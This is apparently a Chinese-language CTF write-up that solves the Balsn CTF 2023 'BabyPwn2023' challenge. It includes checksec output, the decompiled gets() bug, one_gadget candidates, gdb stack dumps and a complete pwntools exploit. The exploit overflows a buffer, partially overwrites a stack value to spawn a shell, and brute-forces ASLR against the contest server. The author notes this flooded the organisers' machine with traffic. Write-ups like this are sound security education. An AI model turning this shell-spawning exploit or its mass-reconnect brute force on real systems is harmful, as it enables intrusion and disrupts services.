Balsn CTF 2023 這次跟 Starburst Kiwawa 打,運氣不錯有台灣前三 我只解掉 BabyPwn2023,我猜是非預期解XD
BabyPwn2023 Analysis 程式很短,洞也很明顯 但問題是我們這次沒有 pop rdi; ret 可以幫我們控 rdi 來 leak libc
1 2 3 4 5 6 7 terry1234@Ubuntu22:~/balsn/baby_pwn/share$ checksec  chal [*] '/home/terry1234/balsn/baby_pwn/share/chal'      Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x400000) 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp) {   __int64 v3;    __int64 v5;    __int64 v6;    __asm { endbr64 }   v6 = v3;   setvbuf_0(_bss_start, 0LL , 2LL , 0LL );   gets_0(&v5);    puts_0("Baby PWN 2023 :)" );   return  0 ; } 
 
Idea 首先我們可以先看看 main() ret 前 rdi 指向哪 發現他指向 _IO_stdfile_1_lock,上面沒東西、_IO_2_1_stdout 在它前面,我在賽中沒想到怎麼用,賽後看到 lys 在 #writeups 傳了用這個的解法,貌似改 _IO_stdfile_0_lock 就能 leak tls-storage我看不懂,但我大受震撼
後面我翻到這篇 writeuphttps://song-10.gitee.io/2019/12/04/pwn-2019-12-4-wiki-ROPTricks/#2018-XNUCA-gets 
概念其實很簡單,就像平常在繞 PIE 那樣 partial overwrite 就好,不過 gets() 會把我們的 \n 換成 \x00,所以要注意一下這點,其他地方其實差不多。如果我們能把 stack 上的一個值透過 partial overwrite 變成 one_gadget,我們就可以 get shell 當然,由於上面提到的 gets() 的特性,我們會要跟 ASLR 碰運氣,但機率還在可以接受的範圍內,多送幾次總有機會成功。 這邊我用第一個 one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 0x50a37  posix_spawn(rsp+0x1c , "/bin/sh" , 0 , rbp, rsp+0x60 , environ)constraints:   rsp & 0xf  == 0    rcx == NULL    rbp == NULL  || (u16)[rbp] == NULL  0xebcf1  execve("/bin/sh" , r10, [rbp-0x70 ])constraints:   address rbp-0x78  is writable   [r10] == NULL  || r10 == NULL    [[rbp-0x70 ]] == NULL  || [rbp-0x70 ] == NULL  0xebcf5  execve("/bin/sh" , r10, rdx)constraints:   address rbp-0x78  is writable   [r10] == NULL  || r10 == NULL    [rdx] == NULL  || rdx == NULL  0xebcf8  execve("/bin/sh" , rsi, rdx)constraints:   address rbp-0x78  is writable   [rsi] == NULL  || rsi == NULL    [rdx] == NULL  || rdx == NULL  
 
我們可以看看 stack 上有什麼值好蓋
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //libc base addr = 0x00007ffff7c00000 gef➤  telescope 0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax	 ← $rsp 0x00007fffffffdee0│+0x0008: 0x0000000000000000 0x00007fffffffdee8│+0x0010: 0x0000000000401176  →  <main+0> endbr64  0x00007fffffffdef0│+0x0018: 0x0000000100000000 0x00007fffffffdef8│+0x0020: 0x00007fffffffdfe8  →  0x00007fffffffe33e  →  "/home/terry1234/balsn/baby_pwn/share/chal" 0x00007fffffffdf00│+0x0028: 0x0000000000000000 0x00007fffffffdf08│+0x0030: 0x5dc9144616cd8aba 0x00007fffffffdf10│+0x0038: 0x00007fffffffdfe8  →  0x00007fffffffe33e  →  "/home/terry1234/balsn/baby_pwn/share/chal" 0x00007fffffffdf18│+0x0040: 0x0000000000401176  →  <main+0> endbr64  0x00007fffffffdf20│+0x0048: 0x0000000000403dc8  →  0x0000000000401140  →  <__do_global_dtors_aux+0> endbr64  gef➤   0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000000000000000 0x00007fffffffdf30│+0x0058: 0xa236ebb9ab0f8aba 0x00007fffffffdf38│+0x0060: 0xa236fbc32c478aba 0x00007fffffffdf40│+0x0068: 0x00007fff00000000 0x00007fffffffdf48│+0x0070: 0x0000000000000000 0x00007fffffffdf50│+0x0078: 0x0000000000000000 0x00007fffffffdf58│+0x0080: 0x0000000000000000 0x00007fffffffdf60│+0x0088: 0x0000000000000000 0x00007fffffffdf68│+0x0090: 0xc3ae57ba9b7fd300 0x00007fffffffdf70│+0x0098: 0x0000000000000000 
 
用 gdb 看可以發現 one_gadget 在這後面,蓋這裡會讓地址變低,撞不到 one_gadget
1 0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax	 ← $rsp 
 
這裡看起來有點機會(ld-linux-x86-64.so.2 通常會被加載到 libc.so.6 還高的 address)
1 2 3 4 5 6 gef➤   0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000000000000000 //in ld-linux-x86-64.so.2 gef➤  x/gx 0x00007ffff7ffd040 0x7ffff7ffd040 <_rtld_global>:	0x00007ffff7ffe2e0 
 
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from  pwn import  *context.arch = 'amd64'  context.log_level = 'debug'  context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF('./chal' ) main = elf.symbols['main' ] puts = elf.symbols['puts' ] gets = elf.symbols['gets' ] bss = elf.bss() ret = 0x40101a  for  i in  range (0 , 0x2000 ):	print (hex (i)) 	 	p = remote('babypwn2023.balsnctf.com' , 10105 ) 	p.sendline(b'a'  * 0x20  + p64(bss + 0x800 ) + p64(ret) * 10  + b'\x37\x8a' ) 	p.recvuntil(b'Baby PWN 2023 :)\n' ) 	p.sendline(b'cat /home/chall/flag' ) 	try : 		data = p.recv() 		print (data) 		p.interactive() 		p.close() 	except  Exception: 		p.close() 		continue  
 
主辦方其實有發了一篇公告表示 BabyPwn2023 的機器一直有不小的流量,如果持續下去的話可能會調整一些東西,但我解完才看到 qwq 在這邊跟主辦方說聲抱歉
賽後有去跟那題機器的 maintainer 聊,對方表示有另一隊也是跟我們用類似的方法,不過他們有 leak 東西,用 1/4096 左右的機率在炸